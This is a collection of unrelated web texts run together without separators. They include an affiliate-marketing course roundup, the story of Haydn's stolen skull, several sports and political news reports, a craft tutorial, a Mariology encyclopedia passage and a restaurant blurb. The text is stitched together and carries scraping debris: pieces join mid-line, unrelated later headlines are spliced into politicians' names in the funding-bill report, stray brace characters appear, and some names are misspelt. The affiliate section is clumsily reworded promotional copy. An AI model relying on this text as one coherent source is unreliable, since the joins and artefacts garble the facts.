Some marketers opt for the trial and error option, which is a shortcut towards becoming the very best in affiliate business.
However, research has shown that there are high chances of failure if you are not appropriately guided on the foundations that govern affiliate marketing. It is important to join credible affiliate training institutions where you will be privileged to meet experts within this field.
Also, you will be prepared with the necessary skills and tools that will help you dominate affiliate marketing. The education guides, tutorials, and e-books give good results to the trainees who are passionate about knowing the basics of affiliate marketing
Best Affiliate Marketing Courses You Can Buy
There is so much that you will learn from this affiliate marketing programs. While you require to part away with a modest fee to join them, they are certainly worth the cost. Below is an assembled list of the best affiliate marketing class that can effectively guide you on the quest towards becoming the best affiliate marketer.
Udemy Affiliate Marketing Training course
Udemy has extensive coverage with over 20 million students worldwide who take any of the 80,000 courses that they provide. As to affiliate marketing alone, they have about 253 affiliate market education courses. I know you may be wondering on how you can select the right class given that the site has numerous marketing-related programs. Here is a quick tip; choose any training course that has a rating of 4.5 and above.
The class that has such ratings are those that are rated highly. However, that doesn’t mean that the other available class is bogus. Udemy has an elevated profile, and you can be sure that any affiliate marketing program that you will take with them will prepare you with the needed resources and skills.
Some of these courses have been narrowed down sub-topics that deal with Affiliate Marketing under Google Editor. Others have a broader viewpoint that gives a more comprehensive picture of affiliate marketing as well as what forms its core. The good thing about the programs that Udem provides is that they comprehensively cover affiliate marketing leaving no stones unturned.
Affiliate Marketing + SEO Strategy
For those who want to figure out how to sell Amazon products and make money off it, this course on 2019 Affiliate Marketing + SEO Strategy could be perfect for you. It’s a fast course that teaches how to construct an Amazon affiliate website, brushes you on the current SEO strategies however may not be enough if you are taking a look at an advanced curriculum.
Develop High-Quality Affiliate Websites
If you have an interest in discovering the procedure behind developing a WordPress website then you must look at Learn how to Build High-Quality Affiliate Websites. This will assist you not simply learn how to promote but also get you choosing to establish the WordPress site and after that promote relevant items.
Generating Stable and Recurring Income
This domain can work for individuals in 2 methods. One is to get sudden bursts of income by offering a specific item. The second part is selling a service that provides you repeating fees. This course on Affiliate Marketing Strategy for Stable and Recurring Income can be very useful if your goal is the latter. At 5.5 hours and 56 lectures, this is very extensive and useful for those looking at mastering this topic. Details are offered here.
Generating Instant Traffic to Affiliate Links
For a somewhat different take on the subject and finding out how to get targeted traffic onto your promoted links, you should have a look at Affiliate Marketing: Instant Traffic to Affiliate Links. A peek at the reviews will help you decide if this is the exact course you are searching for. In some cases the right approach is what is required to make a campaign work, this one might simply work for you. You can see more information here.
ClickBank’s Affiliate Marketing Program
ClickBank is the developer of Affiliate Marketing Without a Website Program, which revolves about how to become successful in this online marketing business.
The course provides detailed information about affiliate marketing as well as what to prevent so that you achieve maximum success. Part of the curriculum involves viewing a 3-hour video made by KC Tan, a prolific affiliate marketing professional. In the online video, he reveals all his techniques on how he went about in being a master in affiliate marketing.
So far, the program has enrolled about 20,000 trainees who have given some very inviting reviews; an indication that the program has achieved a favorable outcome.
The class will also enable you to learn on marketing products on Facebook with a low budget and how to choose high-quality items, which are profitable to promote.
Also, you will be privileged to learn tricks such as using keywords that act as click baits leading to higher sales. By the end of the education course, graduates are expected to create a squeeze page that has no website and start money making a campaign that is funded by ClickBank.
Quora Affiliate Sales Program
This plan was made by Theo McArthur, an online marketing professional who has been in the business for over 15 years. After carrying out this class, you will be able to properly promote affiliate offers in Quora leading to an increase in sales and income.
You’ll learn how to develop content that will bring in visitor traffic and triple your income with the same amount of work.
This is reached by building a loyal client base that will as stop at nothing less than getting their demands served. This course will illuminate you on the common mistakes that are typically made by affiliate marketing professionals and how to prevent them.
Adam Bosch’s Affiliate Marketing Training course
This course entails a 4-hour affiliate training video that was made by Adam Bosch, an exceptional online marketing professional who has worked in the field for over seven years. Throughout the video, you will find tricks and approaches that are applied in affiliate marketing on different online platforms.
The program gives a combined overview of how to be a pro online marketing expert in Amazon and CPA platforms. You will also learn the SEO (Search Engine Optimization) techniques to use so that you can produce organized visitor traffic that will boost your purchases and income.
Wealthy Affiliate Program
This is the most popular and higher rated training course because it provides a step-by-step standard on affiliate marketing. It is the best site for novices who have little understanding in digital marketing.
You’ll require to sign up with them to be given a free account that includes some fundamental understanding of the basics required in online marketing. For detailed information, you need to upgrade to a premium profile that is defined by live events, research features, and a wide range of class from level 2-5 series.
Affilorama Affiliate Marketing Training Course
This is the largest affiliate marketing system, which can be a perfect starting point for newbies. The program provides education lessons of all different levels based on your membership status. Those with free membership only get access to education online videos and blog content whereas premium members get three bundles with advanced affiliate marketing secret-revealing online videos.
The affiliate courses mentioned above may be of good use to any online marketing expert. Affiliate Marketing is an art that requires to be mastered to ensure that you become successful. The same as any other business, affiliate marketing thrives on hard work.In 1820, Prince Esterhazy ordered that Haydn’s remains be transferred from Vienna to Eisenstadt. One of the biggest surprises in all of music must have been when the coffin was opened and Haydn’s skull was missing. The story of the missing skull proves that truth is stranger than fiction.
Franz Joseph Gall was a scientist who believed that a person’s intellectual characteristics were defined by the size, shape and proportions of their skull. Two of Gall’s followers were Joseph Carl Rosenbaum, a close friend of Haydn, and Johann Nepomuk Peter. They bribed the gravedigger, and, just four days after Haydn’s death, opened the grave at night and stole the composer’s head. Later they justified their action by saying that they could not see such a magnificent spirit lay in the ground being eaten by maggots and worms.
In the examination that followed, Peter claimed to have found “the seal of hearing, just as it is given in the preface to Gall’s book.” Following that, Rosenbaum kept the skull “on a cushion covered with while silk and draped with black satin inside a black wooden cabinet that was modeled after a Roman sarcophagus and decorated with a golden lyre.” And this was kept in a mausoleum in his yard for visitors to see. One of the ironies is that Joseph Rosenbaum’s wife, Therese, sang at the memorial for Haydn on June 2, 1809.
The story gets stranger. After the skull was discovered missing, the authorities unsuccessfully searched Rosenbaum’s home. Mrs. Rosenbaum had hid the skull under her mattress, and then lay down on it. She claimed that it was “that time of the month.” Then after Prince Esterhazy paid Rosenbaum for the skull, one skull and then another—neither belonging to Haydn—were presented. This meant that on December 4, 1820, a stranger’s skull was placed on Haydn’s remains.
Just before he died in 1829, Rosenbaum gave the skull to Peter, and when Peter died in 1839, his widow gave it to their physician, Dr. Karl Haller. Dr. Haller gave the skull to a Dr. Rokitansky, a Viennese Pathologist who stored it is the Pathological-Anatomical Institute of the University of Vienna. Rodakitansky’s successor was Professor Kundrat, who gave the skull back to Rokitansky’s sons, who finally presented it to the Gesellschaft der Musikfreunde.
This bizarre story was finally resolved in 1954. In a ceremony at the Musikverein, the skull “was placed in an urn decorated with a golden laurel wreath surrounded by red and white peonies.” Then a large procession (100 cars!) drove past Haydn’s birth house in Rohrau and to the Bergkirche in Eisenstadt, where the skull was finally returned to its body.Georgia reserve tight end Ty Flournoy-Smith was arrested Friday night on a misdemeanor charge of filing a false report of a crime.
University of Georgia police chief Jimmy Williamson said that Flournoy-Smith filed a police report with UGA in the last few days about stolen textbooks.
"He went through this whole story of his books being stolen," Williamson said. "We started looking into it and it was determined that the books were not stolen. He had taken his own books down to a local book buying company and sold them back to them."
Williamson said that Flournoy-Smith, who just completed his freshman season, appeared to have filed the false police report because there was a process with the athletic association in which Flournoy-Smith had to explain the lost textbooks.
"Once it was determined the books had never been stolen, that he had actually sold them for money for himself, that's when we took out a warrant for filing a false police report," Williamson said.
UGA police took out a warrant for his arrest with a judge and turned it into the Clarke County Sheriff's Office. Flournoy-Smith was notified about the warrant and turned himself in to police.
The Moultrie native was booked into the Clarke County jail at 10:56 p.m. Friday and released early Saturday morning at 12:41 on a $1,000 bond, according to the online booking report.
"As long as I've ever worked for the University of Georgia police, if somebody files a report of any crime and we designate resources to look into it and we conclude that these people knowingly falsely filed a report then we'll prosecute, we'll take out a warrant for filing a false report," Williamson said.
Flournoy-Smith tweeted about an hour after being released: "You live, and you learn."
Georgia coach Mark Richt is aware of Flournoy-Smith's arrest, team spokesman Claude Felton said. There was no word yet on any discipline for him.
Flournoy-Smith, 19, played eight games last season for the Bulldogs, but did not have a catch. He was a Class AAAAA all-state selection out of Colquitt County High School.
Flournoy-Smith is behind Arthur Lynch and Jay Rome on the tight end depth chart.What's Springtime without a beautiful bouquet of flowers? Nothing blooming in your neck of the woods yet? Create your own with AC products!
Supplies: Everyday Felt Flowers (77177) - MyHouse, Stem Occasions Four (89090) - Ribbon, Petal Occasions Four (89082) - Ribbon, Petal Occasions Four (89079) - Ribbon, various buttons
I used some things I had on hand to whip up this fun flower bouquet. Stopping in my kitchen, I picked up some skewer sticks and an empty pop can to pair with some bright AC buttons, ribbon, and MyHouse flowers. You'll also need a needle and thread and then you're all set to go.
I threaded the buttons onto a felt House flower, making sure to keep excess string on the backside of the flower. This excess thread gets tied around a skewer stick, securing the flower to the front of the stick. A glue dot can help hold it in place.
You can place your flowers in something prettier than a pop can, but I recommend adding flour or sand in the bottom first to help keep your skewer sticks from swinging around.
This little bouquet is great to set on your desk or on the bookshelf. A perfect way to brighten up the room before the real blossoms start to appear!Nation's New Mayors Revive Big-City Liberalism
Enlarge this image toggle caption Seth Wenig/AP Seth Wenig/AP
Like all newly elected politicians, the class of mayors being sworn in as the year begins has made many grand promises.
From New York Mayor Bill de Blasio's pledge to provide universal pre-kindergarten classes, financed through taxes on wealthy individuals, to Seattle Mayor Ed Murray's push for a $15 minimum hourly wage, their agenda looks decidedly liberal.
New mayors in cities such as Boston, Minneapolis and Pittsburgh have also been talking about the importance of racial inclusion and the need to address income inequality.
De Blasio's election, in particular, along with the near-extinction of Republican mayors of big cities (the largest city with a Republican mayor is Indianapolis), has prompted reams of commentary about a revival of big-city liberalism.
"It's not news that there are Democrats being elected in major American cities," says Dan McGrath, executive director of TakeAction Minnesota, a progressive social justice organization. "It is news that there's a new brand of progressive Democrats being elected in these cities that are pushing a different agenda than we've seen in the past."
Still, there are reasons to think liberals might end up being disappointed. There have been plenty of progressive mayors elected over the past 20 years, but most of them have been more managerial in approach — concerned primarily with budgets and public safety — than ideological.
The "reality of managing" will inevitably force the new city hall leaders to compromise, says Amy Liu, co-director of the Brookings Metropolitan Policy Program.
"Most mayors in the country are Democrats who have mostly been governing from a stand that's more pragmatic than ideological, and I think that's going to continue to be the case," Liu says. "For the most part, they're not tackling the more polarizing issues that might be harder to get done."
Being Held Responsible
Members of Congress have to vote on everything, but they can focus on any pet cause of their choice, whether it's hunger, banking regulation or public transportation.
Mayors, by contrast, have to worry about everything. And they can't just talk — they have to deliver basic services such as parks, police and fire protection.
"The very nature of being a mayor requires pragmatism," says Marc Morial, the president of the National Urban League and a former mayor of New Orleans. "Mayors have to do more than wax eloquent and wax ideological on issues — they have to deliver."
Even from de Blasio, there has been recognition that delivering on basic services may be a bigger priority than pursuing broad policy change, as signaled by his choice of William Bratton as police chief, explains Vincent Cannato, a University of Massachusetts Boston historian who has studied New York City mayors.
"If crime goes up, if snow isn't plowed, he's going to get blamed and it's going to discredit whatever else he wants to do," says Cannato, the author of The Ungovernable City: John Lindsay and His Struggle to Save New York.
Operating Under Limits
There's only so much a mayor can do to bring about societal change. Many of the sweeping social problems these mayors are talking about, such as wealth disparity, can't be cured within the limits of one city's boundaries.
Even on local issues, mayors are having to compromise. In an era of constrained resources, mayors are collaborating with private sector players not just on development projects but basic services such as crime prevention. That means their approaches have to be more pragmatic and market-oriented than ideological, says Liu, the Brookings senior fellow.
"By virtue of needing a whole bunch of partners, which is what most of these mayors need, they're going to be somewhat constrained by having to find common ground," says James Brooks, a program director with the National League of Cities.
In de Blasio's case, his hopes for funding universal pre-k depends on agreement from state officials in Albany on raising taxes, which they appear to have little appetite to do.
Still, education is an area where de Blasio can make good on his rhetoric about addressing poverty and inequity, suggests Richard Kahlenberg, a senior fellow at the liberal Century Foundation.
The mayor's skepticism about charter schools has already drawn criticism from Republicans, notably House Majority Leader Eric Cantor of Virginia.
"For the past decade or so, school reform has been defined essentially as being an effort that challenges the unions," Kahlenberg says. "Someone like de Blasio has a chance to really redefine what it means to be an education reformer."
A Voice For Change
Mayors in recent years have not shied away from lending their voices to liberal causes such as gun control and same-sex marriage. Morial, the National Urban League president, says the new group can do a lot more.
De Blasio not only won control of the nation's largest city and media capital, Morial points out, but "won big."
"That is an affirmation to him that the public wants to see this generation of mayors address and be part of the debate about this issue of income inequality," Morial says, suggesting the mayors can add their voices to a chorus that includes President Obama and Pope Francis.
"This issue is now being discussed much more openly and by more people than I've seen in many generations," he says.
Not every mayor just coming to office ran on a platform of progressive change. Among those who did, some won more due to the weakness of their opponents or quirks of their campaigns than popular demands for liberal action.
But the fact that many of the most high-profile mayors are talking about income disparities and minimum wage hikes shows that their deepest impulses are progressive in nature.
All mayors have to collaborate, says McGrath, the TakeAction Minnesota director. The question is whom they choose to collaborate with.
He notes that Betsy Hodges, the new mayor of Minneapolis, has made a point to engage with people of color and immigrants who are "not considered traditional power players in City Hall.
"I'm absolutely heartened by the fact that there's a lot more talk about the problem of wealth inequality in our world," McGrath says. "I'm even more heartened that there are elected leaders like Betsy not just paying it lip service but creating and aligning grassroots movements to make change."Former Packers receiver James Jones wore a hoodie under his uniform during a game last season because -- wait for it -- he was cold. Perfectly reasonable and soon to be perfectly illegal.
The latest edition of the NFL rule book will prohibit players wearing hoodies, according to ESPN.com's Kevin Seifert, who writes: "The 'hoodie' rule was deemed necessary after... Jones debuted the style last season while playing for the Packers. The hood at times blocked Jones' nameplate on his back. Because it is a uniform policy adjustment, it did not require a vote of owners."
It appears that James Jones' hoodie-wearing days are over. USATSI
We're actually disappointed the "hoodie" rule didn't make it illegal for only Bill Belichick to wear a hooded sweatshirt on the sidelines during games. It certainly seems like the appropriate follow-up to the over-the-top Deflategate silliness that currently has Tom Brady staring down a four-game suspension to begin the 2016 season.
Meanwhile, Seifert also writes that the 2016 rules will reinforce a previously implied rule: Only head coaches are allowed on the field during games, and that's to check on injured players. This became an issue during the Steelers-Bengals AFC wild-card game when Steelers assistant Joey Porter was at midfield jawing with Bengals players. An Adam Jones personal-foul-penalty later, the Steelers were converting the game-winning field goal.
Finally, the rule book now offers guidance in the event an official fails to properly execute a pregame (or pre-overtime) coin flip. We're guessing no one ever imagined a scenario where a coin wouldn't, you know, flip but it happened last season. Now, in the event of an unintentionally unflipped coin happens again, the referee is directed to re-toss said coin using the player's original call.A 13-year-old whose family raised money at has safely returned home, her family announced Wednesday.
'Phelicity is safely back in Australia. Her family will never have the words to describe how thankful they are to all be together during this difficult time. We love you all very much and Thank you for helping us give our girl her wish!'
Phelicity Sneesby, the little girl who is ill and wanted to die at home in Australia has left Nationwide Children's... Posted by Maria Durant on{{{{{< >>}}}}Wednesday, February 24, 2016
Her mom sent an update to ABC 6/FOX 28's Maria Durant Tuesday afternoon, thanking the community for everything, and detailing what it took to get their daughter home.
"The last day I saw you, she went into a coma and Ben had to return to Ohio as we did not think that she would survive. But in true Phelicity style she came through and became stable enough to fly. The doctors at Nationwide worked tirelessly to make this happen. Last Saturday was the day and we arrived in Brisbane on Monday. The flight was well planned and we had no delays; the ambulance was ready to collect us when we landed in Brisbane and she went straight to the ICU at the Lady Cilento Children's Hospital and was stabilised. It has taken her the past two days to gain a little strength and work out pain control. Now the doctors in Brisbane are working on a way to get her back to our house next week and still provide Phelicity with the care she needs. Our family is thankful that we can be together during this painful time and spend the days ahead with Phelicity."
Phelicity Sneesby's family received a huge outpouring of support in late January after announcing they needed help returning to Australia. The Sneesby family has been traveling back and forth from Australia to Nationwide Children's Hospital for the last 13 years.
Their daughter, Phelicity, was born with hypoplastic left heart syndrome, basically meaning she only had half a heart.
"We basically have been traveling to Ohio for 13 years," Veronica Sneesby said. " Nationwide Children's Hospital is the best place for children with congenital heart defect."
Yay!!! Thank you for your help. 150k raised to help #flyerherhome to Australia. Amazing! @wsyx6 @slingerwsyx6 A photo posted by Maria Durant (@mariawsyx6) on Jan 30, 2016 at 4:44am PST
Phelicity also developed another condition. This condition depletes protein from Phelicity's intestines and affects her immune system.
Phelicity can't travel commercially because of her condition. She needed a medical flight and that costs $150,000.Congress sent President Obama legislation on Wednesday to prevent a government shutdown, following a 277-151 vote in the House that will keep federal agencies funded through Dec. 11.
More Republicans voted against the spending bill than in favor of it, however.
Republicans objected to the inclusion of money for Planned Parenthood in the measure, leading 151 GOP lawmakers to vote against the bill, compared to only 91 who supported it.
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Every Democrat voted in favor of the legislation.
The vote also split the GOP lawmakers running for leadership positions in the wake of Speaker John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE’s (R-Ohio) surprise announcement last week that he is resigning at the end of October.
Majority Leader Kevin McCarthy Kevin Owen McCarthySteve King says he will run again in 2020: 'I have nothing to apologize for' Steve King spins GOP punishment into political weapon Steve King asks for Congressional Record correction over white supremacist quote MORE (R-Calif.), the heavy favorite to succeed Boehner, voted yes, as did GOP Whip Steve Scalise (La.), who is running to succeed McCarthy.
But Scalise’s opponent, House Budget Committee Chairman Tom Price (R-Ga.), voted no. So did Rep. Daniel Webster (R-Fla.), McCarthy’s only opponent so far in the Speaker race.
Reps. Pete Sessions (R-Texas) and Dennis Ross (R-Fla.), a deputy whip, who are both running to succeed Scalise, voted no; Rep. Patrick McHenry (R-N.C.), the chief deputy whip, and Rep. Markwayne Mullin (Okla.), two other contenders, voted yes.
The Senate approved the legislation earlier Wednesday in a 78-20 vote, and Obama signed it into law that evening. All 20 “no” votes in the Senate came from Republicans, though Sens. Marco Rubio (R-Fla.) and Lindsey Graham (R-S.C.), both running for president, missed the vote.
Without action by Congress, the federal government would have shut down on Thursday, the beginning of a new fiscal year.
Before Boehner’s decision to resign, there were real doubts that lawmakers would be able to act to prevent a shutdown.
Boehner was under pressure to move legislation without federal funding for Planned Parenthood, which has been under attack since the release of videos accusing the group of selling fetal tissue for profit. The healthcare provider has repeatedly said those charges are unfounded and that the videos are misleading.
Conservatives had warned Boehner they might file a motion to remove him as Speaker if he worked with Democrats to pass the short-term funding bill including Planned Parenthood funds. But once Boehner announced he would step down, conservatives lost their leverage.
In addition, Senate Republicans broadly favored moving the short-term measure even if it included money for Planned Parenthood, as did many House Republicans. They worried that provoking a shutdown would cost the GOP politically.
“We should never shut the government down over that or, frankly, any other issue,” said Rep. Charlie Dent (R-Pa.), a centrist and senior appropriator.
The question for Congress now becomes how to prevent a shutdown right before Christmas.
Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) on Tuesday said he, Boehner and Obama would launch formal budget talks soon. Those talks could also involve McCarthy.
Another challenge in the short term is raising the debt ceiling. Congress likely will have to take action on that issue this fall.
House Appropriations Committee Chairman Hal Rogers (R-Ky.) lamented having to turn to another stopgap bill after his panel spent months working on individual spending measures. House members toiled late into the night debating six of the 12 annual spending bills over the summer, only to see the process derailed after Democrats offered amendments regarding the display of the Confederate flag.
The Senate, meanwhile, has not passed any of the regular appropriations bills this year.
“The House this year got off to a great start, beginning our appropriations work at the earliest date since 1974,” Rogers said. “So it’s to my great dismay that we’ve arrived at this point once again requiring a temporary Band-Aid to buy us time to do our constitutionally mandated duty.”
Before final passage of the stopgap spending bill, the House passed a measure known as an “enrollment correction” to add language that would defund Planned Parenthood. But voting on it as an enrollment correction kept it separate from the underlying spending bill, therefore ensuring it would still reach Obama’s desk in time to avoid a shutdown.
“The majority’s triumph today is not shutting down the government,” said Rep. Steve Israel (D-N.Y.). “Success can’t be defined as avoiding catastrophe. And all we’re doing today is avoiding catastrophe.”
The Senate will likely reject the enrollment resolution, similar to the defeat of a spending bill last week that withheld Planned Parenthood funds.
The House has voted three times this month to eliminate federal funding for the group, including Wednesday’s vote.
Earlier this month, the House passed legislation authored by Rep. Diane Black (R-Tenn.) to freeze Planned Parenthood funds for a year while Congress conducts an investigation into the controversial videos.
And on Tuesday, the House passed a measure that would give states more flexibility in withholding Medicaid funds from healthcare providers that perform abortions.
Updated at 8:26 p.m.Last week I visited and gave two lectures at Southern Methodist University in Dallas. Among other things I had the great pleasure of spending time with Ryan Murphy who is a Research Assistant Professor at the O’Neil Center for Global Markets and Freedom at SMU and I had the opportunity to talk to Ryan about a new paper that has just been published.
The hypothesis in the paper Aggregate Demand Shortfalls and Economic Institutions essentially is that a sharp drop in aggregate demand over a period will cause a change in political climate and sentiment, which in turn will cause policy makers to implement policies, which undermines economic freedom.
This of course is very close to what I often have been arguing namely that a failure on part of central banks to keep nominal spending growth (aggregate demand) “on track” can cause an increase in populist sentiment, which in turns leds to bad policies, which likely will have negative supply side consequences.
Ryan has co-authored the paper with Taylor Leland Smith of Texas Tech University. Here is the abstract:
Political instability is often exacerbated in periods of aggregate demand shortfall, with both short and long-term implications for economic institutions. It has been conjectured that inadequate policy responses to recessions may be inimical to free economic institutions. This paper uses the Economic Freedom of the World index as its measure of economic institutions, and finds that the change in economic freedom in the following five, ten, and fifteen years is negatively impacted by an aggregate demand shortfall as measured by negative NGDP growth. The result is (largely) robust upon the exclusion of the monetary policy variables from Economic Freedom of the World, but is not robust if economic institutions are measured as trade openness
I think the paper is great and very innovative in its approach to analyzing the connection between monetary policy failure and Economic Freedom.
I have suggested to Ryan that he should expand the study to cover the 1930s as I think that he will be able to show that exactly the same kind of mechanisms where in place during that period. The only problem of course is that we don’t have an Index for Economic Freedom of World in the 1930s…
AdvertisementsCleveland Browns running back Willis McGahee (26) smiles during the third quarter against the Minnesota Vikings at Mall of America Field. The Browns defeated the Vikings 31-27. (Photo11: Brace Hemmelgarn, USA TODAY Sports) Story Highlights RB Willis McGahee was released by the Denver Broncos in June
He was signed by the Cleveland Browns after they traded RB Trent Richardson to the Colts
In a nine-year career with Buffalo, Baltimore and Denver, McGahee has rushed for 8,067 yards and 63 touchdowns
BEREA, Ohio – Cleveland Browns tailback Willis McGahee bears no grudge against the Denver Broncos for releasing him in June, but he'd sure love to see his old team again.
In January.
McGahee, 31, is fueled by a vision he wants his young teammates to buy into: the postseason. The Browns are a surprising 3-2, tied atop the AFC North with the Cincinnati Bengals and Baltimore Ravens.
"Who says we can't go play Denver?'' McGahee told USA TODAY Sports Wednesday. "I'm not jumping the gun. But it could happen. We're here to shake things up.
"Why not the Browns? If we take care of business, the path is set. It's time for a new beginning -- a new (AFC) face out there.''
Released by the Broncos over concerns about his ability to rebound fully from a torn medial collateral ligament and a compound fracture of his right leg suffered in November, McGahee has shaken off rust as he rounds back into shape. A two-time Pro Bowl player who was on the street for three months, he has rushed for more than 1,000 yards four times.
VIDEO: Top storylines for Week 6
He sees in the surprising Browns (3-2) glimmers of the 2011 Broncos, who went on a magic ride, led by quarterback Tim Tebow. After rallying to make the playoffs, Denver beat the Pittsburgh Steelers in the wild-card round before losing to the New England Patriots.
"When I first got to Denver, they were the same way as this team -- a young team, the offensive line was together for a few years, and it clicked,'' McGahee said. "I didn't know how good this defense was until I got here.''
McGahee insists he isn't bitter that he might have lost his best chance to win a Super Bowl ring when he was dumped by the Broncos, given the way Peyton Manning is tearing up defenses with 20 touchdown passes and only one interception.
POWER RANKINGS: Where are the Browns?
"Denver did what they had to do, and I don't have any grudge,'' McGahee said. "I texted Peyton when he threw all those touchdowns (seven against Baltimore) and said, 'Good job! Congratulations!' I've learned through the years never to hold a grudge. This is a new chapter in my life, helping another team.''
Many believed the Browns were waving a white flag on the season when they traded running back Trent Richardson for a 2014 first-round pick. That's when the Browns signed McGahee, off the couch, to fill the void.
"People thought it was over," McGahee said. "No, we're fighting for the guys inside this locker room. Once guys got a taste of three straight victories, the sky's the limit |
an individual object of devotion, however, only began in the fifth century with the appearance of apocryphal versions of her life, interest in her relics, and the first churches dedicated to her name, for example, S. Maria Maggiore in Rome.[22] A sign that the process was slower in Rome is provided by the incident during the visit of Pope Agapetus to Constantinople in 536, when he was upbraided for opposing the veneration of the theotokos and refusing to allow her icons to be displayed in Roman churches.[23][not in citation given] Early seventh-century examples of new Marian dedications in Rome are the dedication in 609 of the pagan Pantheon as Santa Maria ad Martyres, "Holy Mary and the Martyrs",[24] and the re-dedication of the early Christian titulus Julii et Calixtii, one of the oldest Roman churches, as Santa Maria in Trastevere.[25] The earliest Marian feasts were introduced into the Roman liturgical calendar by Pope Sergius I (687-701).[26]
During Middle Ages, devotion to the Virgin Mary as the "new Eve" lent much to the status of women. Women who had been looked down upon as daughters of Eve, came to be looked upon as objects of veneration and inspiration. The medieval development of chivalry, with the concept of the honor of a lady and the ensuing knightly devotion to it, not only derived from the thinking about the Virgin Mary, but also contributed to it.[27] The medieval veneration of the Virgin Mary was contrasted by the fact that ordinary women, especially those outside aristocratic circles, were looked down upon. Although women were at times viewed as the source of evil, it was Mary who as mediator to God was a source of refuge for man. The development of medieval Mariology and the changing attitudes towards women paralleled each other and can best be understood in a common context.[28]
Since the Reformation, some Protestants accuse Roman Catholics of having developed an un-Christian adoration and worship of Mary, described as Marianism or Mariolatry, and of inventing non-scriptual doctrines which give Mary a semi-divine status. They also attack titles such as Queen of Heaven, Our Mother in Heaven, Queen of the World, or Mediatrix.
Since the writing of the apocryphal Protevangelium of James, various beliefs have circulated concerning Mary's own conception, which eventually led to the Roman Catholic Church dogma, formally established in the 19th century, of Mary's Immaculate Conception, which exempts her from original sin.
Roman Catholic and Eastern Orthodox teaching also extends to the end of Mary's life ending with the Assumption of Mary, formally established as dogma in 1950, and the Dormition of the Mother of God respectively.
As a theological discipline [ edit ]
Within Anglican Marian theology the Blessed Virgin Mary holds a place of honour. In the Eastern Orthodox Church, a number of traditions revolve around the Ever-Virgin Mary and the Theotokos, which are theologically paramount.
Yet, as an active theological discipline, Mariology has received the larger amount of formal attention in Roman Catholic Mariology based on four dogmas on Mary which are a part of Roman Catholic theology. The Second Vatican Council document Lumen gentium summarized the views on Roman Catholic Mariology, the focus being on the veneration of the Mother of God. Over time, Roman Catholic Mariology also received some input from Liberation Theology, which emphasized popular Marian piety, and more recently from feminist theology, which stressed both the dignity of women and gender differences.
While systematic Marian theology is not new, Pope Pius XII is credited with promoting the independent theological study of Mary on a large scale with the creation or elevation of four papal Mariological research centres, e.g. the Marianum.[29] The papal institutes were created to foster Mariological research and to explain and support the Roman Catholic veneration of Mary. This new orientation was continued by Popes John XXIII, Paul VI and John Paul II with the additional creation of Pontifica Academia Mariana Internationale and Centro di Cultura Mariana, a pastoral center to promulgate Marian teachings of the Church, and, Societa Mariologica Italiana, an Italian mariological society with interdisciplinary orientation.
Theology [ edit ]
There are two distinct approaches to how Mariology interacts with the conventional theological treatises: should Marian perspectives and aspects be inserted into the conventional treatises, or should they be an independent presentation?[30] The first approach was followed by the Church Fathers and in the Middle Ages, although some issues were treated separately. This method has the advantage that it avoids isolating Mariology from the rest of theology. The disadvantage of this method is that it cannot see Mary in the fullness of her role and her person, and the inherent connections between various Mariological assertions can not be highlighted in it.[30] The second method has the disadvantage that it can be the victim of isolation and at times overstep its theological boundaries. However, these problems can be avoided in the second approach if specific references are made in each case to connect it to the processes of salvation, redemption, etc.[30]
Mariological methodology [ edit ]
As a field of study, Mariology uses the sources, methods and criteria of theology, going back to official Marian pronouncements beginning with the Apostles' Creed. In Mariology the question of scriptural basis is more accentuated.[31] In Roman Catholic Mariology, the overall context of Catholic doctrines and other Church teachings are also taken into account. The Marian Chapter of the document Lumen gentium of Vatican II includes twenty-six biblical references. They refer to the conception, birth and childhood of Jesus, Mary’s role in several events and under the cross. Of importance to Mariological methodology is a specific Vatican II statement that these reports are not allegories with symbolic value but historical revelations, a point further emphasized by Pope Benedict XVI.[32]
Organization [ edit ]
The presentation of Mariology differs among theologians. Some prefer to present its historical development, while others divide Mariology by its content (dogmas, grace, role in redemption, etc.). Some theologians prefer to present Mariology only in terms of Mary's attributes (honour, titles, privileges), while others attempt to integrate Mary into their overall theology and into the salvation mystery of Jesus Christ.[33]
Some prominent theologians, such as Karl Barth and Karl Rahner in the 20th century, viewed Mariology only as a part of Christology. But differences exist even within families, e.g. Hugo Rahner, the brother of Karl Rahner, disagreed and developed a Mariology based on the writers of the early Church, such as Ambrose of Milan, Augustine of Hippo, and others.[34] He viewed Mary as the mother and model for the Church, a view later highlighted by Popes Paul VI through Benedict XVI.[35]
Relation to other theological disciplines [ edit ]
Christology [ edit ]
While Christology has been the subject of detailed study, some Marian views, in particular in Roman Catholic Mariology, see it as an essential basis for the study of Mary. Generally, Protestant denominations do not agree with this approach.
The concept that by being the "Mother of God", Mary has a unique role in salvation and redemption was contemplated and written about in the early Church.[36] In recent centuries, Roman Catholic Mariology has come to be viewed as a logical and necessary consequence of Christology: Mary contributes to a fuller understanding of who Christ is and what he did. In these views, Mariology can be derived from the Christocentric mysteries of Incarnation: Jesus and Mary are son and mother, redeemer and redeemed.[37][38][39]
Church history [ edit ]
Within the field of Church history, Mariology is concerned with the development of Marian teachings and the various forms of Marian culture. An important part of Church history is patristics or patrology, the teaching of the early Fathers of the Church. They give indications of the faith of the early Church and are analyzed in terms of their statements on Mary.
In the Roman Catholic context, patrology and dogmatic history have at times provided a basis for popes to justify Marian belief, veneration, and dogmas such as the Immaculate Conception and the Assumption. Thus, in Fulgens corona and Munificentissimus Deus, Pope Pius XII explained the two dogmas in terms of existing biblical references to Mary, the patristic tradition, and the strong historical faith of believers (sensus fidelium). He employed a deductive theological method.[40]
Moral theology [ edit ]
Some scholars do not see a direct relation of Mariology to moral theology. Pius X, however, described Mary as the model of virtue, virginity, and a life free of sin, living a life that exemplifies many moral teachings of the Roman Catholic Church. Mary is cited in that way in pastoral theology and sermons. Moral theology includes teachings on mysticism, to which Marian spirituality relates. Marian charisma, Marian apparitions and other private revelations are also subject to Catholic teachings on revelation, mysticism and canon law.
See also [ edit ]
Notes [ edit ]
References [ edit ]Off
We’ve been blogging about food in LA for years and though we slowed down recently, there’s still endless eateries to discover in the vast landscape of Los Angeles. We found this small Italian joint in Koreatown by chance inside a mini mall. The menu is also simple and traditional, everything is made fresh.
